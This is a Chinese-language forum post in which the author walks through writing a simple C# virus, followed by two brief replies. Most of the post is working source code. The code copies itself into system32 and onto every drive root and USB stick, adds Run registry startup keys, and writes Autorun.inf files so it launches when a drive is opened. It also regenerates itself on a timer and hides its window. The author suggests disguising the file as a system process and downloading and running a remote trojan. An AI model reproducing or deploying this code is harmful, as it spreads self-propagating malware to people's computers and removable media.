100%
阅读:1725回复:2
菜鸟也来写病毒
菜鸟也来写病毒0
文章作者:菲哥哥 《前言》 最近喜欢上了病毒,经过学习前人的经验加上自己的一些想法,终于写出了一个简单的小病毒. 《实现过程》 本人不才只能用c#来写这个小病毒,c#需要.Net Framework的支持,虽然不适合写病毒,但是我写的只是思路和自己的实践过程希望对大家有帮助。对于病毒的传播就利用自动播放功能传播进行传播, 病毒的特点: 1.把自身复制到系统目录下; 2.把自身复制到系统各个盘符下和添加注册表启动项; 3.向各个盘符写入Autorun.inf文件 ; 接下来的工作就是编写了,然后在将自身复制到每个盘符的根目录包括u盘和系统文件夹下,而且定时对磁盘进行扫描如果发现病毒体文件被删除,就会从新生成,我们用timer控件进行定时扫描,时间不要设置的太小,不然会消耗很多cpu资源,我把 1.把自身复制到系统目录下;2. 把本身复制到系统各个盘符下和添加注册表启动项;3.复制Autorun.inf文件到各个系统盘符下;这些实现功能的代码都封装在一个方法里面,在timer控件里调用这个方法实现定时扫描。 方法代码: public void scan() { //保存数组元素值 string sing; //保存盘符 string drive; //保存病毒体保存盘符路径 string tou; //用数组保存盘符字母 string[] sum = new string[] { "A", "C","D", "B", "E", "G", "F", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" }; //保存盘符字母 for (int i = 0; i < sum.Length; i++)//用循环遍历磁盘 { sing=sum; //保存数组下标值 string system1 = string.Format("{0}:\\WINDOWS\\system32\\fei.exe",sing); string system2 = string.Format("{0}:\\WINDOWS\\system32", sing); drive = string.Format("{0}:\\", sing);//保存盘符 tou = string.Format("{0}:\\fei.exe", sing); //病毒体保存盘符路径 if(Directory.Exists(system2)) { if (File.Exists(system1) == false) { //string file = Application.ExecutablePath;//获取当前运行文件的路径 File.Copy(file, system1, true); //复制病毒体到各个盘符下 RegistryKey ss = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); ss.SetValue("fei", system1);//添加启动项 Process.Start(system1);//打开病毒体 } } //向各个盘符写入Autorun.inf文件 if (Directory.Exists(drive))//判断盘符是否存在。 { string dd; dd = string.Format("{0}Autorun.inf", drive); if (File.Exists(dd) == false) { FileStream fs = new FileStream(string.Format("{0}Autorun.inf", drive, true), FileMode.Create); StreamWriter sw = new StreamWriter(fs); sw.WriteLine("[AUTORUN]"); sw.WriteLine("OPEN=fei.exe"); sw.WriteLine("shell\\open=打开"); sw.WriteLine("shell\\open\\Command=fei.exe"); sw.WriteLine("shell\\open\\Default=1"); sw.WriteLine("shell\\explore=资源管理器"); sw.WriteLine("shell\\explore\\Command=fei.exe"); sw.Close(); fs.Close(); } if (File.Exists(tou)==false )//判断病毒体是否存在 { File.Copy(file, tou,true); //复制病毒体到各个盘符下 RegistryKey cc = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); cc.SetValue(drive, tou);//添加启动项 Process.Start(tou);//打开病毒体 } } } } 第一步把自身复制到系统目录下我们就要知道系统在那个盘符里面,大部分人都会把系统装在C盘,但是也有个别的人不会把系统装在C盘;所以我们要判断下系统装在哪个盘符,代码如下: for (int i = 0; i < sum.Length; i++)//用循环遍历磁盘 { sing=sum; //保存数组下标值 string system1 = string.Format("{0}:\\WINDOWS\\system32\\fei.exe",sing); string system2 = string.Format("{0}:\\WINDOWS\\system32", sing); drive = string.Format("{0}:\\", sing);//保存盘符 tou = string.Format("{0}:\\fei.exe", sing); //病毒体保存盘符路径 if(Directory.Exists(system2))//判断文件夹是否存在 { if (File.Exists(system1) == false)//判断病毒体本身是否存在 { File.Copy(file, system1, true); //复制病毒体到各个盘符下 RegistryKey ss = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); ss.SetValue("fei", system1);//添加注册表启动项 Process.Start(system1);//打开病毒体 } } 第一步我用一个数组保存A-Z 用于表示盘符, 用 for (int i = 0; i < sum.Length; i++) 遍历数组,然后把病毒的那4个特点的实现代码都写到这个for里,首先判断if(Directory.Exists(system2))判断文件夹是否存在,if (File.Exists(system1) == false)//判断病毒体本身是否存在然后把自身复制到系统文件夹下,“string file =Application.ExecutablePath ”。 Application.ExecutablePath用于获得当前运行程序的路径 。 第二步复制自身到系统各个盘符下并且加载随机启动项代码如下: if (File.Exists(tou)==false )//判断病毒体是否存在 { File.Copy(file, tou,true); //复制病毒体到各个盘符下 RegistryKey cc = Registry.LocalMachine.OpenSubKey ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); cc.SetValue(drive, tou);//添加启动项 Process.Start(tou);//打开病毒体 } 这样就实现了复制病毒体本身倒系统各个盘符下,我们的病毒体就能随着机器的启动而启动了,大家可以吧程序的名称改成类似系统的进程,增加迷惑性。 第三步向各个盘符写入Autorun.inf文件代码如下: if (Directory.Exists(drive))//判断盘符是否存在。 { string dd; dd = string.Format("{0}Autorun.inf", drive); if (File.Exists(dd) == false)//判断Autorun.inf文件是否存在 { FileStream fs = new FileStream(string.Format("{0}Autorun.inf", drive, true), FileMode.Create); StreamWriter sw = new StreamWriter(fs); sw.WriteLine("[AUTORUN]"); sw.WriteLine("OPEN=fei.exe"); sw.WriteLine("shell\\open=打开"); sw.WriteLine("shell\\open\\Command=fei.exe"); sw.WriteLine("shell\\open\\Default=1"); sw.WriteLine("shell\\explore=资源管理器"); sw.WriteLine("shell\\explore\\Command=fei.exe"); sw.Close(); fs.Close(); } FileStream类用于文件的读写,用这个类写一个Autorun.inf文件到各个盘符的根目录,用于在双击U盘或者电脑上每个盘符的时候打开病毒体。 方法编写完成,我们只要在Load事件里调用这个方法就可以了,4.下载远程服务器程序自动运行,我们也写在load事件里 Load事件代码如下: 窗体透明 this.Opacity = 0; 任务栏不显示 this.ShowInTaskbar = false; 既然我们的是病毒在运行的时候当然不能让人看“this.Opacity = 0”设置窗体为透明的,“this.ShowInTaskbar = false;”设置在任务栏不显示 ,运行下试试,病毒体也成功复制到各个盘符下,系统目录也同样有一个fei.exe。测试成功,fei.exe 和 ini文件已经有了 如图1.2: 《扩展》 我写这个小病毒程序没有什么实质性的作用只是用于研究,大家可以用WebClient类中的DownloadFile()方法下载远程服务器上的远程文件然后用Process.Start("D:\\test.txt")方法运行下载下来的文件,这个文件可以是个木马哦。呵呵。。我只是介绍下病毒的一些基本特性,希望大家可以更好的防毒工作, |
|
沙发#
发布于:2010-08-06 23:31
[/time]
|
|
板凳#
发布于:2010-08-09 22:13
真邪恶!我搞过肉机也没这么高调。。。。
|
|
|